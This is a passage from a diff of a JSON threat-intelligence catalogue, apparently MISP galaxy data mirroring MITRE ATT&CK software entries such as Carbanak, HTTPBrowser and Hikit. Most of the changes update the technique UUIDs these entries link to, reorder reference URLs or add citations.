"970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3520,42 +4339,42 @@ "type": "uses" }, { - "dest-uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044", + "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "a9d4b653-6915-42af-98b2-5758c4ceee56", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "101c3a64-9ba5-46c9-b573-5c501053cbca", + "dest-uuid": "b84903f0-c7d5-435d-a69e-de47cc3578c0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "dc27c2ec-c5f9-4228-ba57-d67b590bda93", + "dest-uuid": "ec8fc7e2-b356-455c-8db5-2e37be158e7d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3569,7 +4388,7 @@ "type": "uses" }, { - "dest-uuid": "65917ae0-b854-4139-83fe-bf2441cf0196", + "dest-uuid": "09b130a2-a77e-4af0-a361-f46f9aad1345", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3625,7 +4444,7 @@ "type": "uses" }, { - "dest-uuid": "d54416bd-0803-41ca-870a-ce1af7c05638", + "dest-uuid": "143c0cbb-a297-4142-9624-87ffc778980b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3646,14 +4465,14 @@ "type": "uses" }, { - "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", + "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "317fefa6-46c7-4062-adb6-2008cf6bcb41", + "dest-uuid": "cc89ecbd-3d33-4a41-bcca-001e702d18fd", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3667,7 +4486,7 @@ "type": "uses" }, { - "dest-uuid": "b2001907-166b-4d71-bb3c-9d26c871de09", + "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3729,7 +4548,7 @@ "type": "similar" }, { - "dest-uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3763,7 +4582,7 @@ "type": "similar" }, { - "dest-uuid": "15dbf668-795c-41e6-8219-f0447c0e64ce", + "dest-uuid": "a01bf75f-00b2-4568-a58f-565ff9bf202b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3777,14 +4596,14 @@ "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3834,14 +4653,14 @@ "type": "similar" }, { - "dest-uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "dest-uuid": "53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3875,14 +4694,14 @@ "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "514ede4c-78b3-4d78-a38b-daddf6217a79", + "dest-uuid": "6836813e-8ec8-4375-b459-abb388cb1a35", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3896,14 +4715,14 @@ "type": "uses" }, { - "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3917,7 +4736,7 @@ "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3964,8 +4783,8 @@ "refs": [ "https://attack.mitre.org/software/S0030", "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf", - "https://www.fox-it.com/en/about-fox-it/corporate/news/anunak-aka-carbanak-update/", - "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html" + "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html", + "https://www.fox-it.com/en/about-fox-it/corporate/news/anunak-aka-carbanak-update/" ], "synonyms": [ "Carbanak", @@ -3981,21 +4800,14 @@ "type": "similar" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4009,14 +4821,14 @@ "type": "uses" }, { - "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4030,7 +4842,7 @@ "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4044,7 +4856,7 @@ "type": "uses" }, { - "dest-uuid": "1608f3e1-598a-42f4-a01a-2e252e81728f", + "dest-uuid": "1e9eb839-294b-48cc-b0d3-c45555a2a004", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4086,28 +4898,28 @@ "type": "uses" }, { - "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "dest-uuid": "806a49c4-970d-43f9-9acc-ac0ee11e6662", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "51dea151-0898-4a45-967c-3ebee0420484", + "dest-uuid": "eb062747-2193-45de-8fa2-e62549c37ddf", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "e01be9c5-e763-4caf-aeb7-000b416aef67", + "dest-uuid": "635cbe30-392d-4e27-978e-66774357c762", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4119,6 +4931,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "72f54d66-675d-4587-9bd3-4ed09f9522e4", @@ -4148,14 +4967,14 @@ "type": "similar" }, { - "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4196,7 +5015,7 @@ "type": "similar" }, { - "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4210,28 +5029,28 @@ "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "970cdb5c-02fb-4c38-b17e-d6327cf3c810", + "dest-uuid": "4ab929c6-ee2d-4fb5-aab4-b14be2ed7179", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044", + "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4245,7 +5064,7 @@ "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4273,21 +5092,21 @@ }, "related": [ { - "dest-uuid": "e7eab98d-ae11-4491-bd28-a53ba875865a", + "dest-uuid": "a750a9f6-0bde-4bb3-9aae-1e2786e9780c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044", + "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4338,7 +5157,7 @@ }, "related": [ { - "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4352,7 +5171,7 @@ "type": "uses" }, { - "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "dest-uuid": "3fc9b85a-2862-4363-a64d-d692e3ffbee0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4373,7 +5192,7 @@ "type": "uses" }, { - "dest-uuid": "1608f3e1-598a-42f4-a01a-2e252e81728f", + "dest-uuid": "1e9eb839-294b-48cc-b0d3-c45555a2a004", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4387,7 +5206,7 @@ "type": "uses" }, { - "dest-uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4401,7 +5220,7 @@ "type": "uses" }, { - "dest-uuid": "a19e86f8-1c0a-4fea-8407-23b73d615776", + "dest-uuid": "fb8d023d-45be-47e9-bc51-f56bcae6435b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4422,14 +5241,14 @@ "type": "uses" }, { - "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4443,7 +5262,28 @@ "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1ecfdab8-7d59-4c98-95d4-dc41970f57fc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1644e709-12d2-41e5-a60f-3470991f5011", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4462,9 +5302,9 @@ ], "refs": [ "https://attack.mitre.org/software/S0070", + "https://www.threatstream.com/blog/evasive-maneuvers-the-wekby-group-attempts-to-evade-analysis-via-custom-rop", "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage", - "https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/", - "https://www.threatstream.com/blog/evasive-maneuvers-the-wekby-group-attempts-to-evade-analysis-via-custom-rop" + "https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/" ], "synonyms": [ "HTTPBrowser", @@ -4481,7 +5321,7 @@ "type": "similar" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4495,7 +5335,7 @@ "type": "uses" }, { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4516,7 +5356,7 @@ "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4530,35 +5370,42 @@ "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "46944654-fcc1-4f63-9dad-628102376586", + "dest-uuid": "2fee9321-3e71-4cf4-af24-d4d40d355b34", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "b2001907-166b-4d71-bb3c-9d26c871de09", + "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1996eef1-ced3-4d7f-bf94-33298cabbf72", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4586,14 +5433,14 @@ }, "related": [ { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4614,7 +5461,7 @@ "type": "uses" }, { - "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "dest-uuid": "1644e709-12d2-41e5-a60f-3470991f5011", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4625,7 +5472,7 @@ "value": "Mivast - S0080" }, { - "description": "[Hikit](https://attack.mitre.org/software/S0009) is malware that has been used by [Axiom](https://attack.mitre.org/groups/G0001) for late-stage persistence and exfiltration after the initial compromise. (Citation: Novetta-Axiom)", + "description": "[Hikit](https://attack.mitre.org/software/S0009) is malware that has been used by [Axiom](https://attack.mitre.org/groups/G0001) for late-stage persistence and exfiltration after the initial compromise. (Citation: Novetta-Axiom) (Citation: FireEye Hikit Rootkit)", "meta": { "external_id": "S0009", "mitre_platforms": [ @@ -4633,7 +5480,8 @@ ], "refs": [ "https://attack.mitre.org/software/S0009", - "http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf" + "http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf", + "https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html" ], "synonyms": [ "Hikit" @@ -4648,14 +5496,49 @@ "type": "similar" }, { - "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea", + "dest-uuid": "f6dacc85-b37d-458e-b58d-74fc4bbf5755", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c615231b-f253-4f58-9d47-d5b4cbdb6839", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2fee9321-3e71-4cf4-af24-d4d40d355b34", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4703,7 +5586,7 @@ "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4717,7 +5600,7 @@ "type": "uses" }, { - "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "dest-uuid": "1c34f7aa-9341-4a48-bfab-af22e51aca6c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4731,7 +5614,7 @@ "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4793,7 +5676,7 @@ "type": "uses" }, { - "dest-uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4828,14 +5711,14 @@ "type": "similar" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "46944654-fcc1-4f63-9dad-628102376586", + "dest-uuid": "2fee9321-3e71-4cf4-af24-d4d40d355b34", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4909,7 +5792,7 @@ "type": "uses" }, { - "dest-uuid": "128c55d3-aeba-469f-bd3e-c8996ab4112a", + "dest-uuid": "47f2d673-ca62-47e9-929b-1b0be9657611", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4923,21 +5806,21 @@ "type": "uses" }, { - "dest-uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "dest-uuid": "f4599aa0-4f85-4a32-80ea-fc39dc965945", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4979,14 +5862,14 @@ "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "a9d4b653-6915-42af-98b2-5758c4ceee56", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5007,7 +5890,7 @@ "type": "uses" }, { - "dest-uuid": "68f7e3a1-f09f-4164-9a62-16b648a0dd5a", + "dest-uuid": "b97f1d35-4249-4486-a6b5-ee60ccf24fab", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5019,6 +5902,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "b18eae87-b469-4e14-b454-b171b416bc18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "94379dec-5c87-49db-b36e-66abc0b81344", @@ -5076,7 +5966,7 @@ "type": "uses" }, { - "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", + "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5090,35 +5980,35 @@ "type": "uses" }, { - "dest-uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044", + "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "9a60a291-8960-4387-8a4a-2ab5c18bb50b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "65917ae0-b854-4139-83fe-bf2441cf0196", + "dest-uuid": "34e793de-0274-4982-9c1a-246ed1c19dee", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5132,7 +6022,7 @@ "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5160,7 +6050,7 @@ "type": "uses" }, { - "dest-uuid": "15dbf668-795c-41e6-8219-f0447c0e64ce", + "dest-uuid": "a01bf75f-00b2-4568-a58f-565ff9bf202b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5172,6 +6062,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "de6cb631-52f6-4169-a73b-7965390b0c30", @@ -5227,7 +6124,7 @@ "type": "similar" }, { - "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "dest-uuid": "f4599aa0-4f85-4a32-80ea-fc39dc965945", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5248,14 +6145,7 @@ "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5269,28 +6159,21 @@ "type": "uses" }, { - "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "62dfd1ca-52d5-483c-a84b-d6e80bf94b7b", + "dest-uuid": "1c34f7aa-9341-4a48-bfab-af22e51aca6c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5318,7 +6201,7 @@ "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5330,6 +6213,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "b42378e0-f147-496f-992a-26a49705395b", @@ -5353,14 +6243,14 @@ }, "related": [ { - "dest-uuid": "1b84d551-6de8-4b96-9930-d177677c3b1d", + "dest-uuid": "32901740-b42c-4fdd-bc02-345b5dc57082", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5409,7 +6299,7 @@ "type": "similar" }, { - "dest-uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044", + "dest-uuid": "5372c5fe-f424-4def-bcd5-d3a8e770f07b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5423,21 +6313,21 @@ "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": 